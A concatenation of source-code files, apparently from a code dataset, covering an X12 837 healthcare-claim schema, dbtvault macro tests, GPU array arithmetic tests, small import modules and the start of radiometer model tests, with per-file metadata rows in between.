req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=7, codes=[] ) ), Element( u'SBR08', Properties(desc=u'Employment Status Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=8, codes=[] ) ), Element( u'SBR09', Properties(desc=u'Claim Filing Indicator Code', req_sit=u'S', data_type=(u'ID',u'1',u'2'), position=9, codes=[u'09', u'10', u'11', u'12', u'13', u'14', u'15', u'16', u'AM', u'BL', u'CH', u'CI', u'DS', u'HM', u'LI', u'LM', u'MA', u'MB', u'MC', u'OF', u'TV', u'VA', u'WC', u'ZZ'] ) ), ), parsed_837_2010BA, parsed_837_2010BB, parsed_837_2010BC, parsed_837_2010BD, parsed_837_2300, parsed_837_2000C, ) parsed_837_2000A = Loop( u'2000A', Properties(looptype='',repeat=u'>1',pos=u'001',req_sit=u'R',desc=u'Billing/Pay-To Provider Hierarchical Level'), Segment( u'HL', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'001',desc=u'Billing/Pay-To Provider Hierarchical Level'), Element( u'HL01', Properties(desc=u'Hierarchical ID Number', req_sit=u'R', data_type=(u'AN',u'1',u'12'), position=1, codes=[] ) ), Element( u'HL02', Properties(desc=u'Hierarchical Parent ID Number', req_sit=u'N', data_type=(u'AN',u'1',u'12'), position=2, codes=[] ) ), Element( u'HL03', Properties(desc=u'Hierarchical Level Code', req_sit=u'R', data_type=(u'ID',u'1',u'2'), position=3, codes=[u'20'] ) ), Element( u'HL04', Properties(desc=u'Hierarchical Child Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=4, codes=[u'1'] ) ), ), Segment( u'PRV', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'003',desc=u'Billing/Pay-To Provider Specialty Information'), Element( u'PRV01', Properties(desc=u'Provider Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'BI', u'PT'] ) ), Element( u'PRV02', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'ZZ'] ) ), Element( u'PRV03', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=3, codes=[] ) ), Element( u'PRV04', Properties(desc=u'State or Province Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=4, codes=[] ) ), Composite( u'C035', Properties(req_sit=u'N',refdes='',seq=u'05',desc=u'Provider Specialty Information'), ), Element( u'PRV06', Properties(desc=u'Provider Organization Code', req_sit=u'N', data_type=(u'ID',u'3',u'3'), position=6, codes=[] ) ), ), Segment( u'CUR', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'010',desc=u'Foreign Currency Information'), Element( u'CUR01', Properties(desc=u'Entity Identifier Code', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'85'] ) ), Element( u'CUR02', Properties(desc=u'Currency Code', req_sit=u'R', data_type=(u'ID',u'3',u'3'), position=2, codes=[] ) ), Element( u'CUR03', Properties(desc=u'Exchange Rate', req_sit=u'N', data_type=(u'R',u'4',u'10'), position=3, codes=[] ) ), Element( u'CUR04', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=4, codes=[] ) ), Element( u'CUR05', Properties(desc=u'Currency Code', req_sit=u'N', data_type=(u'ID',u'3',u'3'), position=5, codes=[] ) ), Element( u'CUR06', Properties(desc=u'Currency Market/Exchange Code', req_sit=u'N', data_type=(u'ID',u'3',u'3'), position=6, codes=[] ) ), Element( u'CUR07', Properties(desc=u'Date/Time Qualifier', req_sit=u'N', data_type=(u'ID',u'3',u'3'), position=7, codes=[] ) ), Element( u'CUR08', Properties(desc=u'Date', req_sit=u'N', data_type=(u'DT',u'8',u'8'), position=8, codes=[] ) ), Element( u'CUR09', Properties(desc=u'Time', req_sit=u'N', data_type=(u'TM',u'4',u'8'), position=9, codes=[] ) ), Element( u'CUR10', Properties(desc=u'Date/Time Qualifier', req_sit=u'N', data_type=(u'ID',u'3',u'3'), position=10, codes=[] ) ), Element( u'CUR11', Properties(desc=u'Date', req_sit=u'N', data_type=(u'DT',u'8',u'8'), position=11, codes=[] ) ), Element( u'CUR12', Properties(desc=u'Time', req_sit=u'N', data_type=(u'TM',u'4',u'8'), position=12, codes=[] ) ), Element( u'CUR13', Properties(desc=u'Date/Time Qualifier', req_sit=u'N', data_type=(u'ID',u'3',u'3'), position=13, codes=[] ) ), Element( u'CUR14', Properties(desc=u'Date', req_sit=u'N', data_type=(u'DT',u'8',u'8'), position=14, codes=[] ) ), Element( u'CUR15', Properties(desc=u'Time', req_sit=u'N', data_type=(u'TM',u'4',u'8'), position=15, codes=[] ) ), Element( u'CUR16', Properties(desc=u'Date/Time Qualifier', req_sit=u'N', data_type=(u'ID',u'3',u'3'), position=16, codes=[] ) ), Element( u'CUR17', Properties(desc=u'Date', req_sit=u'N', data_type=(u'DT',u'8',u'8'), position=17, codes=[] ) ), Element( u'CUR18', Properties(desc=u'Time', req_sit=u'N', data_type=(u'TM',u'4',u'8'), position=18, codes=[] ) ), Element( u'CUR19', Properties(desc=u'Date/Time Qualifier', req_sit=u'N', data_type=(u'ID',u'3',u'3'), position=19, codes=[] ) ), Element( u'CUR20', Properties(desc=u'Date', req_sit=u'N', data_type=(u'DT',u'8',u'8'), position=20, codes=[] ) ), Element( u'CUR21', Properties(desc=u'Time', req_sit=u'N', data_type=(u'TM',u'4',u'8'), position=21, codes=[] ) ), ), parsed_837_2010AA, parsed_837_2010AB, parsed_837_2000B, ) parsed_837_DETAIL = Loop( u'DETAIL', Properties(looptype=u'wrapper',repeat=u'>1',pos=u'020',req_sit=u'S',desc=u'Table 2 - Detail'), parsed_837_2000A, ) parsed_837_ST_LOOP = Loop( u'ST_LOOP', Properties(looptype=u'explicit',repeat=u'>1',pos=u'020',req_sit=u'R',desc=u'Transaction Set Header'), Segment( u'ST', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'005',desc=u'Transaction Set Header'), Element( u'ST01', Properties(desc=u'Transaction Set Identifier Code', req_sit=u'R', data_type=(u'ID',u'3',u'3'), position=1, codes=[u'837'] ) ), Element( u'ST02', Properties(desc=u'Transaction Set Control Number', req_sit=u'R', data_type=(u'AN',u'4',u'9'), position=2, codes=[] ) ), ), parsed_837_HEADER, parsed_837_DETAIL, Segment( u'SE', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'555',desc=u'Transaction Set Trailer'), Element( u'SE01', Properties(desc=u'Number of Included Segments', req_sit=u'R', data_type=(u'N0',u'1',u'10'), position=1, codes=[] ) ), Element( u'SE02', Properties(desc=u'Transaction Set Control Number', req_sit=u'R', data_type=(u'AN',u'4',u'9'), position=2, codes=[] ) ), ), ) parsed_837_GS_LOOP = Loop( u'GS_LOOP', Properties(looptype=u'explicit',repeat=u'>1',pos=u'020',req_sit=u'R',desc=u'Functional Group Header'), Segment( u'GS', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'010',desc=u'Functional Group Header'), Element( u'GS01', Properties(desc=u'Functional Identifier Code', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=1, codes=[u'HC'] ) ), Element( u'GS02', Properties(desc=u'Application Senders Code', req_sit=u'R', data_type=(u'AN',u'2',u'15'), position=2, codes=[] ) ), Element( u'GS03', Properties(desc=u'124', req_sit=u'R', data_type=(u'AN',u'2',u'15'), position=3, codes=[] ) ), Element( u'GS04', Properties(desc=u'Date', req_sit=u'R', data_type=(u'DT',u'8',u'8'), position=4, codes=[] ) ), Element( u'GS05', Properties(desc=u'Time', req_sit=u'R', data_type=(u'TM',u'4',u'8'), position=5, codes=[] ) ), Element( u'GS06', Properties(desc=u'Group Control Number', req_sit=u'R', data_type=(u'N0',u'1',u'9'), position=6, codes=[] ) ), Element( u'GS07', Properties(desc=u'Responsible Agency Code', req_sit=u'R', data_type=(u'ID',u'1',u'2'), position=7, codes=[u'X'] ) ), Element( u'GS08', Properties(desc=u'Version / Release / Industry Identifier Code', req_sit=u'R', data_type=(u'AN',u'1',u'12'), position=8, codes=[u'004010X096A1'] ) ), ), parsed_837_ST_LOOP, Segment( u'GE', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'030',desc=u'Functional Group Trailer'), Element( u'GE01', Properties(desc=u'97', req_sit=u'R', data_type=(u'N0',u'1',u'6'), position=1, codes=[] ) ), Element( u'GE02', Properties(desc=u'Group Control Number', req_sit=u'R', data_type=(u'N0',u'1',u'9'), position=2, codes=[] ) ), ), ) parsed_837_ISA_LOOP = Loop( u'ISA_LOOP', Properties(looptype=u'explicit',repeat=u'>1',pos=u'001',req_sit=u'R',desc=u'Interchange Control Header'), Segment( u'ISA', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'010',desc=u'Interchange Control Header'), Element( u'ISA01', Properties(desc=u'I01', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=1, codes=[u'00', u'03'] ) ), Element( u'ISA02', Properties(desc=u'I02', req_sit=u'R', data_type=(u'AN',u'10',u'10'), position=2, codes=[] ) ), Element( u'ISA03', Properties(desc=u'I03', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=3, codes=[u'00', u'01'] ) ), Element( u'ISA04', Properties(desc=u'I04', req_sit=u'R', data_type=(u'AN',u'10',u'10'), position=4, codes=[] ) ), Element( u'ISA05', Properties(desc=u'I05', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=5, codes=[u'01', u'14', u'20', u'27', u'28', u'29', u'30', u'33', u'ZZ'] ) ), Element( u'ISA06', Properties(desc=u'I06', req_sit=u'R', data_type=(u'AN',u'15',u'15'), position=6, codes=[] ) ), Element( u'ISA07', Properties(desc=u'I05', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=7, codes=[u'01', u'14', u'20', u'27', u'28', u'29', u'30', u'33', u'ZZ'] ) ), Element( u'ISA08', Properties(desc=u'I07', req_sit=u'R', data_type=(u'AN',u'15',u'15'), position=8, codes=[] ) ), Element( u'ISA09', Properties(desc=u'I08', req_sit=u'R', data_type=(u'DT',u'6',u'6'), position=9, codes=[] ) ), Element( u'ISA10', Properties(desc=u'I09', req_sit=u'R', data_type=(u'TM',u'4',u'4'), position=10, codes=[] ) ), Element( u'ISA11', Properties(desc=u'I10', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=11, codes=[u'U'] ) ), Element( u'ISA12', Properties(desc=u'I11', req_sit=u'R', data_type=(u'ID',u'5',u'5'), position=12, codes=[u'00401'] ) ), Element( u'ISA13', Properties(desc=u'I12', req_sit=u'R', data_type=(u'N0',u'9',u'9'), position=13, codes=[] ) ), Element( u'ISA14', Properties(desc=u'I13', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=14, codes=[u'0', u'1'] ) ), Element( u'ISA15', Properties(desc=u'I14', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=15, codes=[u'P', u'T'] ) ), Element( u'ISA16', Properties(desc=u'I15', req_sit=u'R', data_type=(u'AN',u'1',u'1'), position=16, codes=[] ) ), ), parsed_837_GS_LOOP, Segment( u'TA1', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'020',desc=u'Interchange Acknowledgement'), Element( u'TA101', Properties(desc=u'I12', req_sit=u'R', data_type=(u'N0',u'9',u'9'), position=1, codes=[] ) ), Element( u'TA102', Properties(desc=u'I08', req_sit=u'R', data_type=(u'DT',u'6',u'6'), position=2, codes=[] ) ), Element( u'TA103', Properties(desc=u'I09', req_sit=u'R', data_type=(u'TM',u'4',u'4'), position=3, codes=[] ) ), Element( u'TA104', Properties(desc=u'I17', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=4, codes=[u'A', u'E', u'R'] ) ), Element( u'TA105', Properties(desc=u'I18', req_sit=u'R', data_type=(u'ID',u'3',u'3'), position=5, codes=[u'000', u'001', u'002', u'003', u'004', u'005', u'006', u'007', u'008', u'009', u'010', u'011', u'012', u'013', u'014', u'015', u'016', u'017', u'018', u'019', u'020', u'021', u'022', u'023', u'024', u'025', u'026', u'027', u'028', u'029', u'030', u'031'] ) ), ), Segment( u'IEA', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'030',desc=u'Interchange Control Trailer'), Element( u'IEA01', Properties(desc=u'I16', req_sit=u'R', data_type=(u'N0',u'1',u'5'), position=1, codes=[] ) ), Element( u'IEA02', Properties(desc=u'I12', req_sit=u'R', data_type=(u'N0',u'9',u'9'), position=2, codes=[] ) ), ), ) parsed_837 = Message( u'837', Properties(desc=u'HIPAA Health Care Claim: Institutional X096A1-837'), parsed_837_ISA_LOOP, )
83.040262
3,741
0.60739
116,250
608,436
3.120292
0.015045
0.050064
0.070071
0.032266
0.99254
0.990437
0.990244
0.989634
0.988948
0.988427
0
0.104593
0.124222
608,436
7,326
3,742
83.051597
0.576144
0.000118
0
0.965583
1
0
0.264023
0
0
0
0
0
0
1
0
false
0
0.000137
0
0.000137
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
1
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
3ef38fc805ff204678788398202526e72e423b88
1,777
py
Python
test/test_macro/staging/test_derive_columns.py
NikkaZ/dbtvault_spark
383723cd2a35a0bc7b82fd4e77fb1eda0f68cb07
[ "Apache-2.0" ]
null
null
null
test/test_macro/staging/test_derive_columns.py
NikkaZ/dbtvault_spark
383723cd2a35a0bc7b82fd4e77fb1eda0f68cb07
[ "Apache-2.0" ]
null
null
null
test/test_macro/staging/test_derive_columns.py
NikkaZ/dbtvault_spark
383723cd2a35a0bc7b82fd4e77fb1eda0f68cb07
[ "Apache-2.0" ]
null
null
null
import pytest from test import dbtvault_harness_utils macro_name = "derive_columns" @pytest.mark.macro def test_derive_columns_correctly_generates_sql_with_source_columns(request, generate_model): var_dict = {'source_model': 'raw_source', 'columns': {'SOURCE': "!STG_BOOKING", 'EFFECTIVE_FROM': 'LOAD_DATE'}} generate_model() dbt_logs = dbtvault_harness_utils.run_dbt_models(model_names=[request.node.name], args=var_dict) actual_sql = dbtvault_harness_utils.retrieve_compiled_model(request.node.name) expected_sql = dbtvault_harness_utils.retrieve_expected_sql(request) assert dbtvault_harness_utils.is_successful_run(dbt_logs) assert actual_sql == expected_sql @pytest.mark.macro def test_derive_columns_correctly_generates_sql_without_source_columns(request, generate_model): var_dict = {'columns': {'SOURCE': "!STG_BOOKING", 'LOAD_DATE': 'EFFECTIVE_FROM'}} generate_model() dbt_logs = dbtvault_harness_utils.run_dbt_models(model_names=[request.node.name], args=var_dict) actual_sql = dbtvault_harness_utils.retrieve_compiled_model(request.node.name) expected_sql = dbtvault_harness_utils.retrieve_expected_sql(request) assert dbtvault_harness_utils.is_successful_run(dbt_logs) assert actual_sql == expected_sql @pytest.mark.macro def test_derive_columns_raises_error_with_only_source_columns(request, generate_model): var_dict = {'source_model': 'raw_source'} generate_model() dbt_logs = dbtvault_harness_utils.run_dbt_models(model_names=[request.node.name], args=var_dict) assert "Invalid column configuration:" in dbt_logs
37.020833
115
0.727631
219
1,777
5.43379
0.232877
0.12605
0.168067
0.077311
0.809244
0.809244
0.809244
0.77563
0.77563
0.77563
0
0
0.187957
1,777
47
116
37.808511
0.824671
0
0
0.666667
1
0
0.102983
0
0
0
0
0
0.166667
1
0.1
false
0
0.066667
0
0.166667
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
411fbc29e0b4e622cde9f62783703580367f665e
466
py
Python
json-encoding.py
ccoffrin/py-json-examples
c01bf6994e4480470939621ed0b4b7043b38819f
[ "MIT" ]
null
null
null
json-encoding.py
ccoffrin/py-json-examples
c01bf6994e4480470939621ed0b4b7043b38819f
[ "MIT" ]
null
null
null
json-encoding.py
ccoffrin/py-json-examples
c01bf6994e4480470939621ed0b4b7043b38819f
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 import json data_json = {} with open('data/json_table_01.json', 'r') as file: data_json = json.load(file) print(data_json) with open('data/json_table_02.json', 'r') as file: data_json = json.load(file) print(data_json) with open('data/json_table_03.json', 'r') as file: data_json = json.load(file) print(data_json) with open('data/json_multitable.json', 'r') as file: data_json = json.load(file) print(data_json)
15.533333
52
0.688841
79
466
3.860759
0.240506
0.340984
0.157377
0.209836
0.862295
0.862295
0.862295
0.767213
0.767213
0.767213
0
0.017812
0.156652
466
29
53
16.068966
0.75827
0.045064
0
0.571429
0
0
0.221219
0.21219
0
0
0
0
0
1
0
false
0
0.071429
0
0.071429
0.285714
0
0
0
null
1
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
f5afe1f3db1816f5b3cc6427cca8d5ce31d6347f
8,538
py
Python
FastDSP/tests/test_structures/test_arrays.py
JuanGGO/FastDSP
652fdadbedd99b934cb6a82e3bfb07d4645425b8
[ "BSD-3-Clause" ]
null
null
null
FastDSP/tests/test_structures/test_arrays.py
JuanGGO/FastDSP
652fdadbedd99b934cb6a82e3bfb07d4645425b8
[ "BSD-3-Clause" ]
null
null
null
FastDSP/tests/test_structures/test_arrays.py
JuanGGO/FastDSP
652fdadbedd99b934cb6a82e3bfb07d4645425b8
[ "BSD-3-Clause" ]
null
null
null
import pytest import numpy as np from FastDSP.structures import GPUArray class TestGPUArray: @classmethod def setup_class(cls): cls.rows = 4 cls.cols = 6 cls.array_uint8 = np.ones((cls.rows, cls.cols), dtype=np.uint8) cls.array_int = np.ones((cls.rows, cls.cols), dtype=np.int32) cls.array_float = np.ones((cls.rows, cls.cols), dtype=np.float32) cls.array_double = np.ones((cls.rows, cls.cols), dtype=np.float64) cls.array_complex_float = np.ones((cls.rows, cls.cols), dtype=np.complex64) cls.array_complex_double = np.ones((cls.rows, cls.cols), dtype=np.complex128) cls.array_uint8_gpu = GPUArray(cls.array_uint8) cls.array_int_gpu = GPUArray(cls.array_int) cls.array_float_gpu = GPUArray(cls.array_float) cls.array_double_gpu = GPUArray(cls.array_double) cls.array_float_complex_gpu = GPUArray(cls.array_complex_float) cls.array_complex_double_gpu = GPUArray(cls.array_complex_double) def test_uint8_array_transfer_to_device_and_back(self): assert(np.all(self.array_uint8 == self.array_uint8_gpu.get())) def test_int_array_transfer_to_device_and_back(self): assert(np.all(self.array_int == self.array_int_gpu.get())) def test_float_array_transfer_to_device_and_back(self): assert(np.all(self.array_float == self.array_float_gpu.get())) def test_double_array_transfer_to_device_and_back(self): assert(np.all(self.array_double == self.array_double_gpu.get())) def test_complex_float_array_transfer_to_device(self): assert(np.all(self.array_complex_float == self.array_float_complex_gpu.get())) def test_complex_double_array_transfer_to_device(self): assert(np.all(self.array_complex_double == self.array_complex_double_gpu.get())) def test_right_item_is_returned(self): for i in range(self.rows): for j in range(self.cols): assert(self.array_uint8[i, j] == self.array_uint8_gpu[i*self.cols + self.rows]) assert(self.array_int[i, j] == self.array_int_gpu[i*self.cols + self.rows]) assert(self.array_float[i, j] == self.array_float_gpu[i*self.cols + self.rows]) assert(self.array_double[i, j] == self.array_double_gpu[i*self.cols + self.rows]) assert(self.array_complex_float[i, j] == self.array_float_complex_gpu[i*self.cols + self.rows]) assert(self.array_complex_double[i, j] == self.array_float_complex_gpu[i*self.cols + self.rows]) def test_uint8_addition_returns_right_value(self): array3_uint8 = self.array_uint8_gpu + self.array_uint8_gpu array3 = self.array_uint8 + self.array_uint8 assert(np.all(array3_uint8.get() == array3)) def test_int_addition_returns_right_value(self): array3_int = self.array_int_gpu + self.array_int_gpu array3 = self.array_int + self.array_int assert(np.all(array3_int.get() == array3)) def test_float_addition_returns_right_value(self): array3_float = self.array_float_gpu + self.array_float_gpu array3 = self.array_float + self.array_float assert(np.all(array3_float.get() == array3)) def test_double_addition_returns_right_value(self): array3_double = self.array_double_gpu + self.array_double_gpu array3 = self.array_double + self.array_double assert(np.all(array3_double.get() == array3)) def test_complex_float_addition_returns_the_right_value(self): array3_complex = self.array_float_complex_gpu + self.array_float_complex_gpu array3 = self.array_complex_float + self.array_complex_float assert(np.all(array3_complex.get() == array3)) def test_complex_double_addition_return_the_right_value(self): array3_complex_double = self.array_complex_double_gpu + self.array_complex_double_gpu array3 = self.array_complex_double + self.array_complex_double assert(np.all(array3_complex_double.get() == array3)) def test_uint8_subtraction_returns_right_value(self): array3_uint8 = self.array_uint8_gpu - self.array_uint8_gpu array3 = self.array_uint8 - self.array_uint8 assert(np.all(array3_uint8.get() == array3)) def test_int_subtraction_returns_right_value(self): array3_int = self.array_int_gpu - self.array_int_gpu array3 = self.array_int - self.array_int assert(np.all(array3_int.get() == array3)) def test_float_subtraction_returns_right_value(self): array3_float = self.array_float_gpu - self.array_float_gpu array3 = self.array_float - self.array_float assert(np.all(array3_float.get() == array3)) def test_double_subtraction_returns_right_value(self): array3_double = self.array_double_gpu - self.array_double_gpu array3 = self.array_double - self.array_double assert(np.all(array3_double.get() == array3)) def test_complex_float_subtraction_returns_the_right_value(self): array3_complex = self.array_float_complex_gpu - self.array_float_complex_gpu array3 = self.array_complex_float - self.array_complex_float assert(np.all(array3_complex.get() == array3)) def test_complex_double_subtraction_return_the_right_value(self): array3_complex_double = self.array_complex_double_gpu - self.array_complex_double_gpu array3 = self.array_complex_double - self.array_complex_double assert(np.all(array3_complex_double.get() == array3)) def test_uint8_multiplication_returns_right_value(self): array3_uint8 = self.array_uint8_gpu * self.array_uint8_gpu array3 = self.array_uint8 * self.array_uint8 assert(np.all(array3_uint8.get() == array3)) def test_int_multiplication_returns_right_value(self): array3_int = self.array_int_gpu * self.array_int_gpu array3 = self.array_int * self.array_int assert(np.all(array3_int.get() == array3)) def test_float_multiplication_returns_right_value(self): array3_float = self.array_float_gpu * self.array_float_gpu array3 = self.array_float * self.array_float assert(np.all(array3_float.get() == array3)) def test_double_multiplication_returns_right_value(self): array3_double = self.array_double_gpu * self.array_double_gpu array3 = self.array_double * self.array_double assert(np.all(array3_double.get() == array3)) def test_complex_float_multiplication_returns_the_right_value(self): array3_complex = self.array_float_complex_gpu * self.array_float_complex_gpu array3 = self.array_complex_float * self.array_complex_float assert(np.all(array3_complex.get() == array3)) def test_complex_double_multiplication_return_the_right_value(self): array3_complex_double = self.array_complex_double_gpu * self.array_complex_double_gpu array3 = self.array_complex_double * self.array_complex_double assert(np.all(array3_complex_double.get() == array3)) def test_uint8_division_returns_right_value(self): array3_uint8 = self.array_uint8_gpu / self.array_uint8_gpu array3 = self.array_uint8 / self.array_uint8 assert(np.all(array3_uint8.get() == array3)) def test_int_division_returns_right_value(self): array3_int = self.array_int_gpu / self.array_int_gpu array3 = self.array_int / self.array_int assert(np.all(array3_int.get() == array3)) def test_float_division_returns_right_value(self): array3_float = self.array_float_gpu / self.array_float_gpu array3 = self.array_float / self.array_float assert(np.all(array3_float.get() == array3)) def test_double_division_returns_right_value(self): array3_double = self.array_double_gpu / self.array_double_gpu array3 = self.array_double / self.array_double assert(np.all(array3_double.get() == array3)) def test_complex_float_division_returns_the_right_value(self): array3_complex = self.array_float_complex_gpu / self.array_float_complex_gpu array3 = self.array_complex_float / self.array_complex_float assert(np.all(array3_complex.get() == array3)) def test_complex_double_division_return_the_right_value(self): array3_complex_double = self.array_complex_double_gpu / self.array_complex_double_gpu array3 = self.array_complex_double / self.array_complex_double assert(np.all(array3_complex_double.get() == array3))
48.788571
112
0.726048
1,215
8,538
4.701235
0.050206
0.189076
0.07598
0.084034
0.884279
0.84944
0.80077
0.800245
0.785889
0.744748
0
0.020821
0.17873
8,538
174
113
49.068966
0.793782
0
0
0.175182
0
0
0
0
0
0
0
0
0.262774
1
0.233577
false
0
0.021898
0
0.262774
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
7
f5d345f1dc956fa0fa8d83dfb38f45feeafe2e3b
176
py
Python
message_bot/database/engines/__init__.py
kirillgashkov/message_bot
f29810c36e1ef98946f9f63b9c1c4745596fd584
[ "MIT" ]
2
2020-03-05T19:28:59.000Z
2020-03-10T06:01:43.000Z
message_bot/database/engines/__init__.py
kirillgashkov/message_bot
f29810c36e1ef98946f9f63b9c1c4745596fd584
[ "MIT" ]
1
2021-02-08T20:29:08.000Z
2021-02-08T20:29:08.000Z
message_bot/database/engines/__init__.py
kirillgashkov/message-bot
f29810c36e1ef98946f9f63b9c1c4745596fd584
[ "MIT" ]
null
null
null
from message_bot.database.engines.base import BaseEngine from message_bot.database.engines.gsheet import GsheetEngine from message_bot.database.engines.json import JSONEngine
35.2
60
0.875
24
176
6.291667
0.5
0.218543
0.278146
0.437086
0.576159
0
0
0
0
0
0
0
0.073864
176
4
61
44
0.92638
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
8
de2c50ade5bc2309ad3d5b99f3360fd7b795eb26
120
py
Python
plugins/newrelic/komand_newrelic/actions/__init__.py
lukaszlaszuk/insightconnect-plugins
8c6ce323bfbb12c55f8b5a9c08975d25eb9f8892
[ "MIT" ]
46
2019-06-05T20:47:58.000Z
2022-03-29T10:18:01.000Z
plugins/newrelic/komand_newrelic/actions/__init__.py
lukaszlaszuk/insightconnect-plugins
8c6ce323bfbb12c55f8b5a9c08975d25eb9f8892
[ "MIT" ]
386
2019-06-07T20:20:39.000Z
2022-03-30T17:35:01.000Z
plugins/newrelic/komand_newrelic/actions/__init__.py
lukaszlaszuk/insightconnect-plugins
8c6ce323bfbb12c55f8b5a9c08975d25eb9f8892
[ "MIT" ]
43
2019-07-09T14:13:58.000Z
2022-03-28T12:04:46.000Z
# GENERATED BY KOMAND SDK - DO NOT EDIT from .list_users.action import ListUsers from .show_user.action import ShowUser
30
40
0.808333
19
120
5
0.842105
0.252632
0
0
0
0
0
0
0
0
0
0
0.141667
120
3
41
40
0.92233
0.308333
0
0
1
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
deadc051e6c51d230693276318ec1417f4acc97f
181
py
Python
modules/trainer/criterion/__init__.py
nobodykid/sinkhorngan-positive
811f697da4fe02599fc7f0e1bdf77c89d183aba4
[ "MIT" ]
null
null
null
modules/trainer/criterion/__init__.py
nobodykid/sinkhorngan-positive
811f697da4fe02599fc7f0e1bdf77c89d183aba4
[ "MIT" ]
null
null
null
modules/trainer/criterion/__init__.py
nobodykid/sinkhorngan-positive
811f697da4fe02599fc7f0e1bdf77c89d183aba4
[ "MIT" ]
null
null
null
from . import mmd from . import ragan from . import rawgan from . import sinkhorn_gan from . import sinkhorn_sgd from . import wgan from . import linear_sinkhorn from . import sing
20.111111
29
0.779006
27
181
5.111111
0.407407
0.57971
0.26087
0
0
0
0
0
0
0
0
0
0.176796
181
8
30
22.625
0.926175
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
9d382d7dd8b1154c65d4e70cdf947462ca7cbd4e
65,058
py
Python
tests/test_radiometer_model.py
EarthObservationSimulator/instruments
152e51bad70847635081946c23fe9384f9e25809
[ "Apache-2.0" ]
1
2022-01-14T17:22:05.000Z
2022-01-14T17:22:05.000Z
tests/test_radiometer_model.py
EarthObservationSimulator/instruments
152e51bad70847635081946c23fe9384f9e25809
[ "Apache-2.0" ]
4
2021-06-20T13:45:54.000Z
2022-02-05T05:55:43.000Z
tests/test_radiometer_model.py
EarthObservationSimulator/instruments
152e51bad70847635081946c23fe9384f9e25809
[ "Apache-2.0" ]
1
2022-03-08T19:06:38.000Z
2022-03-08T19:06:38.000Z
"""Unit tests for instrupy.radiometer_model. References: [1] Chapter 6,7 in "Microwave Radar and Radiometric Remote Sensing," David Gardner Long , Fawwaz T. Ulaby 2014 @TODO Include rectangular antenna tests """ import unittest import json import numpy as np import sys, os from instrupy.radiometer_model import PredetectionSectionParams, SystemParams from instrupy.radiometer_model import RadiometerModel, SystemType, TotalPowerRadiometerSystem, UnbalancedDikeRadiometerSystem, \ BalancedDikeRadiometerSystem, NoiseAddingRadiometerSystem, \ ScanTech, FixedScan, CrossTrackScan, ConicalScan from instrupy.util import Antenna, Orientation, SphericalGeometry, ViewGeometry, FileUtilityFunctions, Maneuver class TestTotalPowerRadiometerSystem(unittest.TestCase): @classmethod def setUpClass(cls): # See [1] Section 7-3.1 for the source of some of the receiver specs specified below. Section 7.5 lists a normalaized gain variation specs of 10^-2. cls.tpr_sys1_json = '{"tlLoss": 0.5,' \ '"tlPhyTemp": 290,' \ '"rfAmpGain": 30,' \ '"rfAmpInpNoiseTemp": 200,' \ '"rfAmpGainVariation": 10,' \ '"mixerGain": 23,' \ '"mixerInpNoiseTemp": 1200,' \ '"mixerGainVariation": 2,' \ '"ifAmpGain": 30,' \ '"ifAmpInputNoiseTemp": 100,' \ '"ifAmpGainVariation": 10,' \ '"integratorVoltageGain": 1,' \ '"integrationTime": 100e-3,' \ '"bandwidth": 10e6,' \ '"@id": 121}' cls.tpr_sys2_json = '{"predetectionGain": 83,' \ '"predetectionInpNoiseTemp": 200,' \ '"predetectionGainVariation": 2000000,' \ '"integrationTime": 100e-3,' \ '"bandwidth": 10e6,' \ '"integratorVoltageGain": 1 }' def test_from_json(self): """ Test typical initialization of the total power radiometer system. """ o = 